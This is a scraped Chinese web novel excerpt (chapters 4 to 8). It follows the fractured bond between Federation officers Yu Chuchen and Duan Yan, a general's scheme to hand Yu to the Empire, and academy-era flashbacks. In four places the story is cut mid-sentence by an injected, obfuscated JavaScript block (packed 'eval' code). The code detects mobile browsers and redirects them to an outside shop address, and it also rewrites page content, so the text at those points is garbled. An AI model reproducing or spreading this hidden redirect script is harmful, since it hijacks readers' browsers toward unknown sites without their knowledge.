喻初晨直接把段言的移动光脑拿过来,扫了自己的脸解锁后,直奔即时录音存储备份所在的区域。 看到喻初晨的动作,段言也猜到对方想要做什么。 他有些懊恼地说:“唉,当时怎么没想到呢,冲动了。” 喻初晨没管段言突然的懊恼,点开其中一条录音,对段言说:“找到了,应该是这个。” 段言也不再说什么,只凑过来辨认录音。 开始播放之后,录音之中果然传来了藤原翔太嚣张又欠揍的声音。 他人转述和亲耳听到的感觉果然是不一样的,难怪段言没忍住。 即便是让三十一岁的喻初晨来看这件事,他也不会认为这件事换成十七岁的他自己,就能忍住不对藤原翔太动手。 十几岁的少年,冲动也是这个年纪的普遍特征。 喻初晨压下心底的怒气,动作利落地把这份录音传输到自己的移动光脑中。 传输中途,喻初晨看了一眼段言那边的消息记录,有些惊讶地说:“我说怎么给你发信息都没搭理我呢,原来一条都没收到。” 段言点点头,看着喻初晨恍然大悟的模样,笑着说:“你忘啦?所有能源矿场都有屏蔽的,什么消息,什么通讯都不许用。” 喻初晨倒也不是不知道,但是他从来都没有接过能源矿场的任务,对能源矿场中的情况只停留在书面上的了解。 “我帮你以前干吧,快一些。”喻初晨没有把移动光脑还给段言,而是拿着他的移动光脑,按着移动光脑上的名单,挑了一台没有记录过的能源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547387|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机器人,直接干起火来。 “不用,你歇着吧,我快干完了。”段言不想让喻初晨做这些,本来就是他为了补积分接的任务,怎么能让喻初晨来做。 “两个人干也快一些啊,你笨笨。”喻初晨停下动作,转头瞪了段言一眼,开始指挥对方,“你现在赶紧去记录另一个,再把数据报给我。” 段言没有动,他觉得冲动打人是自己的问题,被处分导致要接任务来补积分也是自己的事。 本身塞尔吉奥星的能源机器人就很不稳定,说不定会有人工智能失控或者爆炸的风险,他一个人来冒险就可以了,没必要再搭上一个人。 “初晨,这些能源机器人不安全。”段言伸手去抢喻初晨手上的移动光脑,对他强调着。 “别抢!”喻初晨把移动光脑举起来,离段言远一些,板起脸佯装严肃,“赶紧干完,你也能早点跟我回去,不是吗?” 段言愣在了原地,微微瞪大眼看着喻初晨,抢移动光脑的动作也停了下来。 “好。” 喻初晨如同他自己说的那样,带着段言坐上了回加布里埃尔星的星际快线。 也是十分赶巧,他们刚刚来到星际快线站点的时候,一艘飞船驶入站点,排队的众人开始有序踏上飞船。 喻初晨和段言紧随其后,扫脸付好票钱之后,找了个人少的位置坐下来。 “从交完任务开始,你就很沉默,究竟怎么回事?你不会还有事瞒着我吧?”喻初晨实在是觉得有些奇怪,怕段言又把什么事情藏在心里,便直接问了出来。 “没什么,就是……”段言皱着眉头,有些吞吞吐吐的。 “这可不像你啊,段言!你平时多开朗啊,什么时候说话还吞吞吐吐的了!”喻初晨不敢置信地瞪大眼,笑着看向身旁的段言,拍了一下他的肩膀,“到底怎么了,连我也不说吗?” “我是在想,我们在外面要不要稍稍避嫌一下?”段言略一思索,对喻初晨说。 “啊?什么避嫌?”喻初晨很震惊,他想不到这两个字能跟他们扯上关系。 “藤原翔太说那样编排你,我不想因为我们关系太好,反倒让你因此困扰。”段言的眉头从刚刚就没舒展开过,他看向喻初晨,明显想听听对方的看法。 “不对,是我们被编排,不是我一个人。”喻初晨纠正段言的话,又撇撇嘴,有些不高兴地说,“他说的事我们又没有做,我们也不是恋爱关系,为什么要避嫌?” 段言一怔,他打心底生出几分懊恼来。 这么简单就能想明白的事,他竟然被藤原翔太给绕进去了。 “而且,就算我们两个是恋爱关系,那又如何?关他藤原翔太什么事啊,管天管地还管别人是挚友还是情人啊!”喻初晨越说越生气,恨不得自己去揍藤原翔太一顿。 编排他们就算了,还搞得段言想东想西的。 真可恶。 段言没想到喻初晨会说后边这些话,他忍不住将目光移到对方那双紫色的眼瞳中。 他强迫自己不去想喻初晨最后的那句话,是挚友还是情人,他只是对着对方点了点头。 “你说得对。” 喻初晨没有转身,他不想看仇文,只是对仇文的要求做出了回答。 “我同意加入谈判团,不要再说了。” 5. Chapter 5 喻初晨扔下这句话,是一刻都不愿意多待,不顾身后坐着的人是军部一把手,直接拉开会议室的门冲了出去。 仇文看着喻初晨狼狈离开的身影,似笑非笑地推了一下金丝眼镜,并没有阻止。 只是提起往事就有这么大的反应,看来等喻初晨到了帝国之后,还有不少好戏看啊。 没一会儿,会议室的门再次被人推开。 这回走进会议室的人,是仇文的秘书尼克。 他手上捧着移动光脑,上面显示的是一条来自路德维希中将的消息。 “仇文大将,路德维希中将听说喻初晨离开三号会议室,发来信息询问,喻初晨答应了吗?”尼克朝仇文敬了个礼,才走上前,在桌前停下脚步,将手上的移动光脑转了个方向,递给仇文看。 仇文垂眸扫了移动光脑上的消息一眼,露出笑容,掀了掀眼皮,看向眼前的尼克。 他迎着尼克疑惑的目光,冷笑着回答:“他答应加入谈判团了。” 答应加入谈判团和答应被当做礼物送给段言,那可是两回事。 诚然,这些知情人的心里都清楚,如果喻初晨知道他们的目的,根本不会答应。 但他们也理所当然地觉得,喻初晨应该答应他们提出的要求。 “您没有告诉他吗?”尼克一怔,他明显听得出来,仇文并没有告诉喻初晨真相,脸上立刻露出惊讶的神情。 “告诉他干什么?你忘记伊兹拉西亚星军部直属医院对他的评估了吗?”仇文脸上带着不善的笑容,对尼克说。 “我记得……”尼克微怔,思绪回到三年前。 三年前,伊兹拉西亚星军部直属医院的病房内。 喻初晨脖子上缠着绷带,穿着松垮垮的病号服,瘦得骨节分明的双手紧紧抱着自己的膝盖,蜷缩在病房的角落中。 他脸色惨白异常,嘴唇干裂苍白,那双漂亮的紫眸中没有一点情绪,眼神空洞地死死盯着前方,浑身发抖。 病房外的走廊上,就在喻初晨这间病房的门口,站着仇文和陈素二人。 “他看起来很不好。”陈素皱着眉,目光停留在病房内的喻初晨身上,神色凝重。 “不好,对他来说才是最好的。”仇文冷眼看着病房内的喻初晨,转头将目光移到陈素身上。 “最好?联邦议会已经开会决定,向军部要求将喻初晨少将以叛国罪送上军事法庭。”陈素脸色很难看,他当然不是选择相信喻初晨,他只是不想军部卷入其中。 说到这里,陈素略顿了顿,瞥了冷静异常的仇文一眼,顿时更添了几分火气。 “仇文,他们笃定喻初晨知道一切,一开始就知道!联邦议会那帮老狐狸想把他们打成一伙的!你究竟是怎么看的?难道真的让喻初晨上军事法庭吗?”陈素情绪激动,他可不愿意因为喻初晨一个人就把军部卷入其中,着急地朝着仇文说出这番话。 “当然不能让他上军事法庭。”仇文摇摇头,目光变得坚定,看向陈素,“我们得保住他。” “为什么?他可是让我们军部陷入被动的人,你不处罚他吗?”陈素有些意外,他印象中的仇文是个阴险且不择手段的人,这次竟然这样宽容,不会有什么后手吧? “世间的许多事都很难说以后会怎么样,段言叛逃到帝国去,虽说是个不受待见的,可你又怎么知道他日后不会崛起呢?他能从孤儿院起步厮杀到少将的位置,凭什么又笃定他到了帝国不能翻身?”仇文说着,推了一下金丝眼镜,露出一个冷笑。 “所以你的意思是……”陈素眯起眼,似乎有些明白仇文的想法了。 “万事还是得留一手。”仇文嘴角勾起一抹笑,目光停留在依旧发着抖的喻初晨身上,说,“我听人说,他们是从军校走到现在的,十二年的感情,无论他们今日闹得如何难看,我就不信来日段言再见喻初晨,心底能什么都不想。” “是啊,爱也好,恨也好,他都不可能平静。”陈素彻底明白仇文的意思了,微笑着点了点头,目光冷冷落在喻初晨身上,又提起惩罚的事,“不过,真的什么都不罚他,恐怕有很多人要不高兴啊。当初他和段言杀了藤原家的儿子,可是给军部惹了好大的麻烦。” “当时他们是人才,得罪藤原小鬼又有何妨,便是如今,也轮不到藤原小鬼对军部指手画脚。”仇文冷哼一声,瞧见陈素朝自己看来的目光,才回答起对方的问题,“惩罚还不简单吗,明升暗贬,让他找个清闲单位坐冷板凳就是了。把人留在伊兹拉西亚星,在我们的监视之下,其他的我来解决。” 陈素点点头,他理解仇文的决定,也明白这样做从长远来看是有利的,军部也不能让议会牵着鼻子走。 但是…… “这不是小事,军部要做决定,还得通过军部常务委员会的投票,才能递到联邦常务委员会去。”陈素的神色有些凝重,军部里的内斗不比议会少,他提醒仇文,“仇文大将,你确定其他三个人会投赞成票吗?” “如果按照议会的意思去办,下一步就是对军部追责。他们能咬死喻初晨知道一切,那一样能咬死军部知道一切。这种时候,军部常务委员会只能团结一致,让议会的鬼主意彻底泡汤。”仇文冷笑,他如何不知道军部内有内斗,但他也知道,军部的其他人都不得不选择跟着他的步伐走,没有人愿意以后低议会一头。 “我明白你的意思了,我立刻让人安排。”陈素点点头,决定彻底站在仇文这一边后,他的眼神变得坚定。 这时,喻初晨的主治医生马克西姆神色凝重地朝仇文和陈素走过来,他手上拿着军部直属医院专用的移动光脑,移动光脑上显示的是喻初晨的检查报告。 马克西姆先是在距离仇文和陈素不远的地方站定,朝他们敬了个礼。 “仇文大将!陈素上将!” 仇文和陈素朝马克西姆回了个礼,目光移到马克西姆手中的移动光脑上,示意他直接开始报告。 “这次重创对喻初晨少将几乎是毁灭性的,他的身体机能比之巅峰时期,可以说是成倍的下降。”马克西姆露出惋惜的表情,他一直很看好喻初晨,没想到会发生这样的事。 仇文神色不变,只静静看着马克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547388|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西姆,不发表任何意见,先等对方说完。 陈素却是先露出失望的神情,他同样是看好喻初晨的人,但他是看中喻初晨的能力,希望对方能保留实力,在必要的时刻再次为军部效力。 如今从马克西姆的话语中听来,怕是不可能了。 “段言叛变这件事,对喻初晨少将的精神伤害的巨大的,他又在受了重伤的情况下,坚持强行洗掉段言对他的终身标记。”马克西姆说到这里,稍微缓了缓,眉头却是更加紧皱,“这对身体的伤害是完全不可逆的,以后即便靠着极强的意志力开上机甲,也不过是拿命去赌究竟能撑多久罢了。” “这种时候强行洗掉终身标记的风险,你在术前有没有告诉他?”仇文听见马克西姆的话,挑了下眉,笑着问。 “说了,多少话都说了!我让他等身体养好了再考虑洗掉终身标记的事,可他就是不听!”马克西姆叹了口气,他真的特别无奈,尤里牺牲前曾让他帮忙多关照段言和喻初晨,结果现在一个叛变一个变成了这样。 “听见了吗?陈素。”仇文藏在金丝眼镜后的眼睛微微眯起,脸上挂着渗人的微笑,迎着陈素不解的目光说下去,“这就是一个很好的点啊,联邦少将为与叛徒划清界限,不惜在重伤时洗掉与对方的终身标记。” “仇文大将,这军部的一把手就是不一样啊。”陈素露出了然的笑容,对着仇文说。 仇文笑而不语,压根没管身边沉下脸的马克西姆,他只与陈素同时转过头,看向病房内无助蜷缩着身体的喻初晨。 “他的精神状态很不稳定,怎么能知道实情呢?”仇文用中指和无名指推了一下金丝眼镜,笑着看向眼前的尼克。 “可他不知道实情,到了之后不会出问题吗?”尼克难免有些担心,他就是怕喻初晨出什么问题,影响了联邦和帝国的和谈。 “到了之后再说呗,反正人都完好送到段言床上了,至于在他床上是疯了还是傻了,与我们又有何干呢。”仇文冷笑,见尼克还是不大明白,微微皱了下眉,细细解释,“他一个少将,曾经赫赫有名的双子星之一,如果知道自己像垃圾一样被放弃了,打扮成精美的礼物送到敌国皇子的床上,你觉得……他不会精神崩溃吗?” “也许……应该是会的。”尼克愣愣的,点了点头。 “所以他不能知道,他还得完好无损地送到段言床上呢,在那之前他都得好好的。”仇文说着,脸上的笑容多了几分得意,看向方才喻初离开的方向时,更像是在看一个完美的作品。 “您真是考虑周到!”尼克恭维了一句,又有些担心,“可是,段言并不知道我们的打算,若他对喻初晨只剩下恨意又怎么办呢?这么做不会激怒他吗?” “怎么会激怒呢?”仇文轻笑,看尼克的目光仿佛带着善意,但其中暗含了几分嫌弃对方愚蠢的讥讽,他继续解释,“要是仇人,那我们把他的仇人送到他床上,他可以羞辱,可以折磨,可以让喻初晨生不如死来泄愤,说来也是我们讨好了他啊。” “原来如此,不愧是仇文大将!”尼克恍然大悟,点了点头。 6. Chapter 6 其实在许多年前,帝国和联邦是属于同一个国家的,后来政见不同的两拨人分裂开来,成了两个国家。 帝国的情况与联邦十分不同,他们有着比蓝星时代的封建时代还要有过之而无不及的封建阶级分别。 这一点,段言原本只是在星际局势的课程和新闻报道中了解到,可到了帝国之后他发现,联邦的报道或许有抹黑、夸大帝国的成分,但有些事情亲历起来,远远比听说还要恶心数倍。 刚回帝国,被安排住进露西亚公馆的时候,段言只能被踩在脚底。 后来他们以流落在外多年,应当留在首都星阿里戈星接受教育,段言在伊利亚宫被迫卑躬屈膝。 再后来,段言发动流血政变,将政变中受伤濒死的帝国皇帝控制起来,挨个儿清算过去,踩着那些人的鲜血,住进了象征着权力的伊兹多尔宫。 而此时此刻的伊兹多尔宫中,段言正坐在办公桌前,一身华丽的黑色军装,手上拿着一份纸质的联邦谈判团名单,眉头微皱。 是的,帝国作为一个铁了心封建复辟的国家,他们还在用古老的纸质。 而且必须用那种有设计得有古典气息的纸张,并且限定只有皇室或者被赏赐的贵族才能用。 段言对帝国的一切都是厌恶的,但他不甘心安于现状。 如果他放弃那些自己本可以争取的权力,那他就永远没机会站在高处。 不站在高处,他又怎么被远在联邦的喻初晨看见呢。 所以,段言暂时忍受眼前的一切。 想到喻初晨,段言看向手中这份联邦谈判团的名单,目光停留在最末尾的名字上,搭在名单上的指尖微微有些发抖。 他眯起眼,盯着喻初晨三个字,舌尖抵了一下齿尖,咬牙切齿地念出来。 “喻初晨。” 段言从军校行政大楼的公告栏挤出来,跑向被他要求等在外面的喻初晨,远远的就开始出声喊对方。 “我们分到一个专业了。”段言特别高兴,眼睛都亮晶晶的,看着眼前同样激动的喻初晨。 “是什么?我也去看看。”喻初晨也想自己亲眼看到,便往前挤去。 “人太多了,等人少一些。”段言赶忙拉住喻初晨的手腕,担心地看着他。 “好吧。”喻初晨点点头,跟段言一起站在一旁,等着人流退去。 待到看专业分配结果的学生变少了之后,段言才拉着喻初晨走到联合战略指挥系的名单下面。 “看,我们的名字在这里。”段言指着名单上的两个名字,转头笑着看向喻初晨。 “我看看!”喻初晨激动地挤上前,循着段言手指的方向,找到他们的名字,脸上笑容顿时更浓了几分,嘴里喃喃着,“太好了。” 喻初晨转过头,看向身旁的段言,二人相视一笑。 “尤里和邵星出任务去了,我们帮他俩也找找。”喻初晨看完联合作战指挥系的名单,发现没有尤里和邵星的名字,拉起段言的手往旁边走去。 “这是机械战斗系的,我看看。”段言握紧喻初晨的手,空出来的那只手指着眼前的名单,一个个名字看下来,直到看见尤里的名字,惊喜地看向喻初晨,“初晨,尤里的名字在这。” “邵星呢,他不在这吗?”喻初晨看了尤里的名字一眼,往下又找了找,没看见邵星的名字,有些着急。 “别急,再看看。”段言拉着喻初晨的手,快速又看了几个专业的名单,最后锁定在机械维修系。 “在这!”喻初晨先一步看见邵星的名字,对身旁的段言说。 “四个人三个专业,还好宿舍不会分开,课程的时间也差不多,跟以前没什么太大的区别。”段言露出庆幸的笑容,看着眼前的名单,对喻初晨说。 “要是毕业以后分配的驻地也能在一起就好了,我们两个做主副手,尤里做机甲战斗员,邵星是机甲维修专员。”喻初晨开始畅想起来,眼睛亮亮的,看向身边同样激动的段言,说,“一个宿舍的四个人就这么一直在一起。” “嗯,我们要一直在一起。”段言脸上满是激动的笑容,看着喻初晨说。 段言摩挲着谈判团名单上喻初晨的名字,脑中不断浮现过去的事情。 我们要一直在一起。 四个人,两个牺牲,两个决裂。 谁也没遵守诺言呢。 段言盯着喻初晨的名字,唇角勾起一抹自嘲的笑。 “段言殿下?” 朴勇俊见段言久久没有反应,迟疑片刻,才唤了他一声。 站在段言办公桌前的这位身着银灰色西装的男子,就是段言的秘书,朴勇俊。 今天来到伊兹多尔宫找段言,就是为了把这份联邦谈判团的名单交给对方。 段言回过神来,抬起头神情冷冷地看向朴勇俊,没有说话。 朴勇俊也没有对段言方才的走神发表什么意见,而是直接就工作问题追问:“殿下,联邦的这份谈判团名单是否有问题?是否需要对联邦提出调整要求呢?” 段言听见这番话,嗤笑一声,讥讽道:“联邦常务委员会那帮老东西比谁都自大,还能同意调整谈判团名单?” 朴勇俊轻笑,摇了摇头,对段言说:“殿下,帝国作为战胜国,有任何要求都可以提出来,他们战败国哪还敢摆什么架子。” 段言不过想刺联邦那帮老东西几句,也并非真的要什么解释,目光停留在谈判团名单上,并未立刻回答朴勇俊的问题。 “原本这份名单已经由内阁确认过了,但殿下您是帝国如今最熟悉联邦的人,还是得让您把把关才是。要是有什么不妥当的,也好及时调整。”朴勇俊见段言没说话,又补上这些话。 段言点点头,没有说话,而是开始确认名单上的人员。 说来有些奇怪,里面的人除了喻初晨,似乎都是些无关紧要的人。 不过,反正段言也不太相信联邦真的愿意和谈,来的是什么人倒也就显得不重要了。 “不用改,没什么大问题。”段言把手中的名单递给朴勇俊,脸上没什么别的表情,仿佛刚刚一看见喻初晨三个字瞬间有些失控的人并不是他。 “好的殿下,我立刻安排下去。”朴勇俊微微弯腰,双手从段言手中接过名单。 但是,说完这话之后,朴勇俊并没有离开。 段言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547389|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉头微蹙,瞥了朴勇俊一眼,问:“还有事?” 朴勇俊面露难色,对段言说:“皇后殿下在塔利亚宫大闹,非要见您,您看……” 提起叶玥,段言嗤笑一声,冷冷道:“去会会她。” 段言发动流血政变之后,并没有把帝国皇后叶玥关进大牢,而是依旧让她待在皇后的寝宫塔利亚宫里边。 当然,是没有了许多自由的情况下。 往日无比尊贵奢华的塔利亚宫透着几分凄凉,大门紧闭着,院子里满是配备着高精度武器的机器人。 段言独自一人走向大门,朝着门边墙面的位置张开手,一个智能面板冒了出来。 他冷着脸在上边按了自己的指纹,轰的一声,大门在他的眼前打开。 这是第一道门。 进了塔利亚宫,还有激光电击网组成的第二道门。 但第二道门是半透明的,远远的就可以看见门内的情形。 所以远远的,段言就看见叶玥穿着往日那身华丽又厚重的皇后礼服,头发披散着,神情颓靡地坐在皇后宝座上。 叶玥自然也听见了开门的动静,她恨恨地转过头,盯着朝自己走来的段言,愤怒地吼着:“小杂种!快放了我!” 段言脚步不停,这样的话他在刚回到帝国的时候已经听过太多。 他脸上带着嗜血的冷笑,打开第二道门,一路走到叶玥面前站定。 “失败者被关起来,不是天经地义吗?”段言俯视着叶玥,猩红双瞳中满是讥讽。 “本宫当初就该把你摔死!而不是把你扔到联邦边境!让你有机会如此忤逆不孝!”叶玥听见段言的话,身体一僵,随即更加愤怒地骂了起来。 叶玥的怒骂声因疼痛而停了下来,段言压根不给她继续骂的机会,一把抓住她的头发,狠狠把她拽到面前来。 随后,段言微微俯身,猩红的眼中带着嘲弄,说:“怎么这么生气啊,母后?这不是你们抓我回来的时候,跟我说过的话吗?” 虽说是喊母后,但段言的母亲并非叶玥。 他的母亲是一位可怜的普通民众,因为是难得一见的Omega,随着家人一起被邀请到皇宫之中参加晚宴。 谁知道帝国皇帝看见她之后,起了色心,在晚宴上对她强行标记,强行将原本已经订了婚、找好新工作的Omega留在了皇宫之中。 叶玥因此事愤怒不已,但她一点都不怪帝国皇帝,而是把怒气撒到了被强行标记的Omega身上。 在Omega生下段言当天,让心腹带着他赶到联邦的边境星球,将刚出生的他抛弃在了那里。 之后,那个Omega自然是以蹩脚的理由被消失在了皇宫之中。 段言的回归是无可奈何,他的身份在联邦已经暴露。 原本以为他早就死了的帝国皇帝得知此事,因想要多一个皇子作为备选,便强行将他接了回来。 如今,也没有什么备选不备选了,多数皇子在段言手上或杀或囚禁。 从前霸凌过他的人被一一揪出来,从前的仇人更是被他赶尽杀绝。 现在的帝国,没有备选,就是段言说了算。 7. Chapter 7 段言的话,让叶玥的脸色变得铁青。 但段言说得对,她现在是阶下囚,她只能逼自己对段言示好。 “那好,从前是本宫对你不好,本宫补偿你。” 叶玥露出一个不情愿的笑容,试图向段言示好,却因为脸上极度的不情愿而显得有些怪异。 “只要你跟叶家的女儿成婚,我就带着整个叶家站在你这边,这是本宫对你的补偿。” 说到这里,叶玥昂着头,试图减轻被拽着头发的疼痛。 她也想保持身为帝国皇后的体面,调整出一个不那么狼狈的姿势。又因方才那些话,朝着段言露出一个得意的笑容。 连她自己都认同了这套说辞,坚信段言一定会被这些话打动,从而放她自由,让她再次站在胜利者的位置上。 “你会有外戚的支持,可以如你所愿,安安稳稳坐上皇位。” 段言猛地甩开叶玥,站起身拉开距离的速度极快,几乎只发生在一瞬间。 他掏出一块手帕,嫌恶地擦了擦手,目光停留在狼狈摔在地上的叶玥身上。 “你们复辟蓝新时代古老的帝制,沉浸在这一套早已被抛弃的封建幻想之中,不觉得可笑吗?”段言说话语气难掩嫌恶,猩红眼眸透出的更是浓浓的厌恶。 “你如此!如此忤逆!不听本宫的话,难道是想跟你在联邦找的那个男的结婚吗!” 叶玥哪里不明白帝国高层的可笑,但她作为既得利益者,是不允许有人戳破这一切的,所以她情绪变得过激,她开始不管不顾地提起段言的痛处。 她过得不如意,段言也别想好过。 “你要知道,在帝国!同性恋可是违法的!你们在联邦的结婚证也是一张废纸!” 段言听着这些话,脸上没有一丝愤怒,只是摆出一副震惊地模样,看着眼前小丑一般跳脚的叶玥。 “这是星际时代,少拿你那些入了土的规矩来束缚别人。”段言语带讥讽地出声提醒。 叶玥的神情变得更加疯狂,连面相都变得扭曲,恨恨地盯着段言时,脸上的肌肉都仿佛发着抖。 但是,不等叶玥在发抖之中思考出后边要说的话,段言先开口了。 “我们有过接吻,有过温存,有过终身标记。”段言说到这里,略顿了顿,猩红眼眸中能看出明显的走神,即便只是一瞬。 掩去眼底的情绪,段言才继续往下说。 “即便我们有过背叛,但无论如何,我和他……天生一对,在一起就是天经地义。”段言一边佯装冷静地提起自己和喻初晨之间的事,一边冷眼看着坐在地上状若疯癫的叶玥。 “你觉得有什么用,他洗掉标记了!”叶玥听见段言的话,露出得意的笑容,冷笑着说,“强行洗掉标记自然弱化第二性别,那他就只是一个男性,你还是违反了帝国法……” 段言没让叶玥继续说下去,他眼中的厌恶更多了几分,没有一丝犹豫,直接打断叶玥没说完的话。 “你搞清楚,我从始至终要的人都是他,第二性别究竟是什么根本无所谓。” 说到这里,段言露出笑容,阴恻恻地看着叶玥。 “我认识他的时候,他还没有分化呢。” “你分化了!” 段言抱着因突然分化而昏昏沉沉的喻初晨,缩在废弃城市的角落里。他警惕地看了看四周,担忧地看向怀中的喻初晨。 联邦军校在第三年细分了专业后,便需要时不时接取实践任务,以小组的形式完成一些简单但具有学习意义的任务。 那是段言和喻初晨进入联合战略指挥系之后的第一次任务。 谁知道就是这一次外出,喻初晨竟在任务途中分化成了Omega。 关于第二性别,段言早就在被分到联合战略指挥系之前,就已经分化成了Alpha,他一直以为喻初晨也会分化成Alpha。 大多数人分化的时间也差不多是这个时候,所以军校才会在选择在这之后才细分专业,就是想将第二性别纳入考虑范围,即便他们并没有明说。 可喻初晨到了分配进联合战略指挥系一段时间之后,还是没有分化。 这种情况一直持续到这一年即将结束,终于在这一次任务中突然分化。 这样突然的分化,打了段言和喻初晨一个措手不及。 好在分化之前不久,段言和喻初晨已经把此次任务要求追杀的帝国间谍解决掉了。 但现在喻初晨的情况,根本就没有办法归队,段言不可能带着一个刚刚分化,信息素溢得遍地都是的Omega回到队伍之中。 此次出任务的队伍中,同样也有Alpha,而且因为联邦军校刻意的分配,只要不是成绩完全不出彩的Alpha,基本都被分进了战略指挥系。 段言不敢拿刚刚分化的喻初晨去赌其他Alpha的自控力。 空气中充斥着喻初晨的薄荷味信息素,可这薄荷味非但不能让人清醒,还让人更加昏沉燥热。 段言强撑着Omega信息素对他意志力的侵袭,担心地看着怀中的喻初晨,架着对方尝试站起身,嘴上说着:“我带你去找抑制剂。” 喻初晨虚弱地摇摇头,几乎说不出话来,只能断断续续地说:“不……” 段言却是十分坚持,他是即便有一线希望也要坚持到底的人,更何况这是喻初晨的事,他更是不可能轻易放弃。 他脸上满是焦急的神情,对喻初晨说:“晨,第一次发情期不能完全不干涉,对你的腺体会有损伤的。” 喻初晨还是摇摇头,拍拍段言的手示意让自己坐下来,在对方心疼的目光中被扶着靠在了墙边,稍微缓了一缓,这才稍微能说出完整的话来。 “这里因为曾经与帝国的战争,已经成了一座废城。”喻初晨又停顿了一下缓过劲来,才继续往下说,“就算城内残留的抑制剂没有因战争影响遭到破坏,这么多年过去也已经过期失效了。” 段言停留在喻初晨身上的目光,其中的心疼几乎与四周溢出的信息素一样多。 他其实知道一个更快的办法,但他和喻初晨关系再好,也只是挚友。 哪有挚友标记挚友的呢。 若段言真的对标记一事问心无愧,那倒也只是帮个忙的事。 可他早在不知道什么时候,就已经对喻初晨产生了难以言说的朦胧感情。 段言说不定究竟是不是喜欢,又到了何种程度。 但若是说他对喻初晨一点心思都没有,那答案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547390|204204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定是否定的。 这样的情况下,让段言临时标记喻初晨,他很难做出这个绝地给你。 可现在喻初晨的模样,也实在让人心疼。 段言不可能真的拖到喻初晨的腺体受损,即便他的内心那样挣扎,他也得做出决定了。 “晨。”段言唤了喻初晨一眼,迎着对方朝自己看来的目光,声音低沉地说,“还有一个办法。” “什么办法?”喻初晨眼睛一亮,强忍着第一次发情期带来的热潮,问出这个问题。 段言直接用行动回答了喻初晨的问题。 段言收紧按在喻初晨腰上的手,把他往自己怀中一按,牙齿抵住他后颈的腺体,一用力,齿尖深深刺入腺体之中。 与此同时。 轰隆一声。 天上下起了暴雨。 喻初晨的头被段言按在颈侧,雨水先是打湿了他们的头发、衣服,再蔓延至他们的脸上。 但这样的时候,喻初晨想来也注意不到这场大雨。 段言用齿尖刺入喻初晨后颈的腺体时,释放了大量的Alpha信息素,将原本四散溢出的Omega信息素阻拦在了腺体之中。 两种信息素在雨幕之中交织,又因Alpha信息素的压制,原本爆发一般扩散的Omega信息素也逐渐稳定下来,被Alpha信息素包裹其中,不再四散溢出。 而原本因发情期而变得异常的身体,也在段言的临时标记下变得平静。 但临时标记对处于发情期的Omega来说,还是有些太过刺激了。 喻初晨在刚刚被咬住的一瞬间,瞪大了双眼,身体微微发抖,原本随意搭在段言腿上的双腿也瞬间紧绷起来,忍不住合上大腿,朝着段言的方向凑近了一些。 他的双手也在自己都没发觉的时候,紧紧抓住眼前抱着自己的段言,用力得指尖发白。 他的嘴唇更是死死咬着,压抑着到了喉咙口的喘息,仅存的那点理智让他不愿意发出一星半点声音。 临时标记对喻初晨来说是极为刺激的一种行为,对段言来说也并非全无影响。 无论是临时标记还是终身标记,本质都是将Alpha和Omega绑在一起。 无论是身体需求还是信息素的融合,或是精神上的依赖,都是将两个人死死绑到了一起。 二者的区别,也就是一个是临时的,一个是终身的。 Omega会因为临时标记出现身体反应,Alpha自然也不例外。 咬腺体本身就是最能激发第二性别的兽性的行为。 段言在临时标记喻初晨的瞬间,也得用超乎常人的自制力,压制住心底的不断喷涌而出的欲望。 想吻喻初晨。 想剥开喻初晨。 想与喻初晨彻底融合。 想把喻初晨彻底标记。 想…… 段言强压下无数个想,他瞧着临时标记已经完成,赶忙松开喻初晨,胸口剧烈起伏地喘息着,不敢去看怀中的人。 可喻初晨因为临时标记整个人变得迷蒙,他变得只依靠本能。 在段言松开喻初晨,与他分开的时候,他忍不住抓着段言的衣领,一点点将嘴唇送上。 8. Chapter 8 在喻初晨的唇逐渐靠近,即将触碰到段言的时候。 段言的理智瞬间占据了上风,猛地别过脸去,避开了喻初晨的这个吻。 “晨,你湿透了,我带你去安全的地方。” 段言不敢看喻初晨,只先将他轻轻放到地上去,才站起身靠近,将他背了起来。 